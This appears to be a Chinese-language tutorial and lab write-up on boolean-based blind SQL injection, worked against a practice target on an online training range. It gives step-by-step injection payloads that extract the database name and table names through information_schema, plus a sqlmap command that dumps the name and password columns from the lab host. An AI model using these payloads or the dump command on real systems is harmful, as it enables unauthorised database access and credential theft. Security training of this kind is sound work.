很多时候,Web服务器关闭了错误回显,这时候我们该怎样实行SQL注入了呢?
这种情况我们需要采用盲注的手段了。
什么是盲注呢?
所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。
盲注的类型:
请看下面两个语句:
?id=1 and 1=1
?id=1 and 1=2
在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。
length() 函数 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
ascii() 返回字符的ascii码
地址:SQL注入漏洞测试(布尔盲注)_SQL注入_在线靶场_墨者学院 https://www.mozhe.cn/bug/detail/UDNpU0gwcUhXTUFvQm9HRVdOTmNTdz09bW96aGUmozhe
测试注入点
?id=1 and 1=2 页面丢失
?id=1 and 1=1 页面正常
存在注入点,无回显,且注入类型为数字型。
判断数据库长度
?id=1 and length (database())=10
回显正常,说明数据库长度为10
拿数据库名:从第一个字符开始判断,长度为10,所以要测试10次,方法一致
用到两个函数 Ord()转换为ASCII码 ,截取字符串:mid(str,1,1)这边我们测试到第一个字符ASCII码为115,经查询是 's'
?id=1 and ORD(mid(database(),1,1))=115
经过10轮测试,数据库名为:stormgroup
获取表的数量
?id=1 and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2
获取表的长度
?id=1 and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1)= 6
获取表名
?id=1 and ord( mid( ( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 ),1,1 ) )=109
剩下的拿字段和数据都是同理,这里只做原理演示
布尔盲注的话还是建议用SQLMap跑,不然太麻烦了。
python sqlmap.py -u http://124.70.71.251:42965/new_list.php?id=1 -D stormg
roup -T member -C name,password --dump
布尔盲注适合的条件:
我们在盲注的时候实际上并没有通过修改参数来获取信息,因为网页无回显的,而是通过 and 条件 ,条件为真,说明猜测正确,网页正常,条件为假,猜测错误,网页丢失。这个过程是通过 && 条件 来判断的。